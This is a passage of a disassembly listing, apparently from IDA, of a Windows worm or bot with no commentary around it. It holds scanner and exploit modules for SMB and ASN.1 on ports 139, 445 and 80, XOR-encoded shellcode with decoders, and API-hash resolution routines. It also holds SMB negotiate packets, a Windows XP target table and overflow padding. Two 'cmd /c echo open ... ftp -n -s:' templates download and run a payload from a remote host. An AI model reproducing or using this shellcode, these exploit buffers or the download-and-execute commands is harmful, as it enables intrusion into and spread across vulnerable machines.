dword_431418 dd 1 ; DATA XREF: sub_40BACD+3B3r
dword_43141C dd 0 ; DATA XREF: sub_40BACD+292r
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40E206h, 0
dd 2 dup(1), 0
aNet139 db 'net139',0
align 4
dd 654E0000h, 69706174h, 393331h, 5 dup(0)
dd 8Bh, 40DF8Eh, 0
dd 2 dup(1), 0
aNet445 db 'net445',0
align 4
dd 654E0000h, 69706174h, 353434h, 5 dup(0)
dd 1BDh, 40DF8Eh, 0
dd 2 dup(1), 0
aAsn80 db 'asn80',0
align 4
dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
dd 50h, 40D2D9h, 0
dd 2 dup(1), 0
aAsn445 db 'asn445',0
align 4
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D2D9h, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 4
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D2D9h, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aAsn445_0 db 'asn445',0
align 4
db 2 dup(0)
byte_4315EA db 1 ; DATA XREF: sub_401ACD:loc_4037E6r
; sub_401ACD+1D23o
db 73h
dd 6D79h, 0
dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_431616
; =============== S U B R O U T I N E =======================================
sub_431606 proc near ; CODE XREF: sub_431606:loc_431616p
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_43160E: ; CODE XREF: sub_431606+Cj
xor byte ptr [edx+ecx], 99h
loop loc_43160E
jmp short loc_43161B
; ---------------------------------------------------------------------------
loc_431616: ; CODE XREF: ___:00431604j
call sub_431606
loc_43161B: ; CODE XREF: sub_431606+Ej
jo short near ptr dword_4315A4+12h
cwde
cdq
cdq
retn
sub_431606 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
align 4
dword_431798 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o
unk_4317A4 db 2Dh ; - ; DATA XREF: sub_40B64A+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_4317C4 db 2Dh ; - ; DATA XREF: sub_40B719+38o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_43180C db 2Dh ; - ; DATA XREF: sub_40B785+22o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo
dword_431848 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431858 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40B7DA+14o
dd 7473694Ch, 3Ah
unk_431874 db 2Dh ; - ; DATA XREF: ___:0040BA13o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_4318A8 db 2Dh ; - ; DATA XREF: ___:0040B921o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 4
unk_4318D8 db 2Dh ; - ; DATA XREF: sub_40BA56+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 4
unk_4318F8 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_431914 db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 4
unk_431948 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_34 db '- Failed to start server, error: <%d>.',0
unk_431980 db 2Dh ; - ; DATA XREF: sub_40BACD+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 10h
unk_4319B0 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start server, error: <%d>.',0
align 4
unk_4319E4 db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 4
unk_431A18 db 2Dh ; - ; DATA XREF: sub_40BACD+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_36 db ' Failed to start server, error: <%d>.',0
align 4
unk_431A4C db 2Dh ; - ; DATA XREF: sub_40C124+EEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_431A74 db 2Dh ; - ; DATA XREF: sub_40C124+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431AAC db 2Dh ; - ; DATA XREF: sub_40C124+3E6o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_431AEC db 2Dh ; - ; DATA XREF: sub_40C124+38Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_431B24 db 2Dh ; - ; DATA XREF: sub_40C124+31Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B58 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
dword_431B8C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h
; DATA XREF: sub_40C59B+92o
dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_40CADA+B2o
align 10h
dword_431C40 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao
dword_431C48 dd 10FF8h ; DATA XREF: sub_40CADA+79o
dword_431C4C dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o
dword_431C54 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431CDC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_431D0C dd 0 ; DATA XREF: sub_40CF04+44o
dd 800000D4h, 0
unk_431D18 db 81h ; │ ; DATA XREF: sub_40CFDE+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_431D64 db 41h ; DATA XREF: sub_40D07C+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
; =============== S U B R O U T I N E =======================================
sub_431DA8 proc near ; DATA XREF: ___:0040D35Bo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_431EA4
push dword ptr [esi]
push 63D61209h
call sub_431EBA
mov [esi+8], eax
call sub_431E6D
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_431EBA
mov [esi+0Ch], eax
call sub_431E1F
push dword ptr [esi+4]
push 4C0297FAh
call sub_431EBA
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_431DA8 endp
; =============== S U B R O U T I N E =======================================
sub_431E1F proc near ; CODE XREF: sub_431DA8+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_431E48
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_431E1F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_431E48 proc near ; CODE XREF: sub_431E1F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_431E57: ; CODE XREF: sub_431E48+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_431E64
inc ebx
jmp short loc_431E57
; ---------------------------------------------------------------------------
loc_431E64: ; CODE XREF: sub_431E48+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_431E48 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_431E6D proc near ; CODE XREF: sub_431DA8+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_431E85: ; CODE XREF: sub_431E6D+1Ej
cmp [ecx], ebx
jz short loc_431E8D
mov ecx, [ecx]
jmp short loc_431E85
; ---------------------------------------------------------------------------
loc_431E8D: ; CODE XREF: sub_431E6D+1Aj
mov edx, edi
loc_431E8F: ; CODE XREF: sub_431E6D+2Aj
cmp [edx+4], ebx
jz short loc_431E99
mov edx, [edx+4]
jmp short loc_431E8F
; ---------------------------------------------------------------------------
loc_431E99: ; CODE XREF: sub_431E6D+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_431E6D endp
; =============== S U B R O U T I N E =======================================
sub_431EA4 proc near ; CODE XREF: sub_431DA8+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_431EA4 endp
; =============== S U B R O U T I N E =======================================
sub_431EBA proc near ; CODE XREF: sub_431DA8+16p
; sub_431DA8+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_431ED0: ; CODE XREF: sub_431EBA+33j
jecxz short loc_431F0A
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_431EDD: ; CODE XREF: sub_431EBA+2Dj
lodsb
cmp al, ah
jz short loc_431EE9
ror edi, 0Dh
add edi, eax
jmp short loc_431EDD
; ---------------------------------------------------------------------------
loc_431EE9: ; CODE XREF: sub_431EBA+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_431ED0
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_431F0A: ; CODE XREF: sub_431EBA:loc_431ED0j
; sub_431EBA:loc_431F0Aj
jmp short loc_431F0A
sub_431EBA endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_431F10 proc near ; DATA XREF: ___:0040D309o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_431F62
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_431F2D: ; CODE XREF: sub_431F10+38j
jecxz short loc_431F5D
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_431F38: ; CODE XREF: sub_431F10+32j
lodsb
test al, al
jz short loc_431F44
ror edx, 0Dh
add edx, eax
jmp short loc_431F38
; ---------------------------------------------------------------------------
loc_431F44: ; CODE XREF: sub_431F10+2Bj
cmp edx, [esp+arg_0]
jnz short loc_431F2D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_431F5D: ; CODE XREF: sub_431F10:loc_431F2Dj
mov [esp+arg_0], ebx
retn
sub_431F10 endp
; =============== S U B R O U T I N E =======================================
sub_431F62 proc near ; CODE XREF: sub_431F10+7p
; FUNCTION CHUNK AT 00431F9A SIZE 00000008 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_431F7B
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_431F86
; ---------------------------------------------------------------------------
loc_431F7B: ; CODE XREF: sub_431F62+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_431F86: ; CODE XREF: sub_431F62+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_431F9A
sub_431F62 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_431F8D proc near ; CODE XREF: sub_431F62:loc_431F9Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_431F8D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_431F62
loc_431F9A: ; CODE XREF: sub_431F62+29j
call sub_431F8D
loc_431F9F: ; DATA XREF: sub_40CADA+320o
add [eax+0], ah
; END OF FUNCTION CHUNK FOR sub_431F62
; ---------------------------------------------------------------------------
dw 0
dword_431FA4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FB0 dd 30h ; DATA XREF: sub_40CADA+2CAo
dword_431FB4 dd 0A1h ; DATA XREF: sub_40CADA+29Fo
dword_431FB8 dd 3 ; DATA XREF: sub_40CADA+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o
align 4
loc_431FC4: ; DATA XREF: sub_40CADA+E8o
jmp short near ptr dword_431FCC
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_431FCC dd 0 ; CODE XREF: ___:loc_431FC4j
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: ___:0040D330o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 8
dword_432038 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------
loc_432044: ; CODE XREF: ___:0043204Ej
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_432044
inc edi
jz short loc_43208B
and eax, 952CE753h
inc esp
jle short loc_4320B3
push es
lahf
cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_43208B: ; CODE XREF: ___:00432051j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_4320EA+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_4320B0: ; CODE XREF: ___:004320DDj
xor [esi-25h], bl
loc_4320B3: ; CODE XREF: ___:00432059j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_4320CC: ; CODE XREF: ___:004320FFj
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_4320B0
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_4320EA: ; CODE XREF: ___:00432091j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_432176
jo short loc_4320CC
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_43210D+1
add bl, [edi]
loc_43210D: ; CODE XREF: ___:00432109j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_432122+2
cmp ch, bh
dec edx
loc_432122: ; CODE XREF: ___:0043211Dj
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_432176: ; CODE XREF: ___:004320FDj
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short loc_4321FC
sub al, 0BCh
jmp near ptr 5445256Ah
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_432198 dd 0EFFFC481h, 44FFFFh, 4321E4h ; DATA XREF: ___:0040DC32o
dword_4321A4 dd 42Ah ; DATA XREF: ___:0040DBE5r
dword_4321A8 dd 3E8h ; DATA XREF: ___:0040DC56r
dword_4321AC dd 258h ; DATA XREF: ___:0040DC28r
byte_4321B0 db 1 ; DATA XREF: ___:0040DB91r
; ___:0040DC5Fr
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_4321C8 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321B4o
align 4
dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
dd 532D3050h
; ---------------------------------------------------------------------------
loc_4321FC: ; CODE XREF: ___:00432180j
push eax
xor al, 29h
loc_4321FF: ; DATA XREF: ___:0040DBB9o
add bl, ch
add al, [eax]
; ---------------------------------------------------------------------------
db 0
align 8
dword_432208 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o
dword_43221C dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
align 4
aSIpc db '\\%s\ipc$',0
align 10h
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40DFE2+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322C4 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
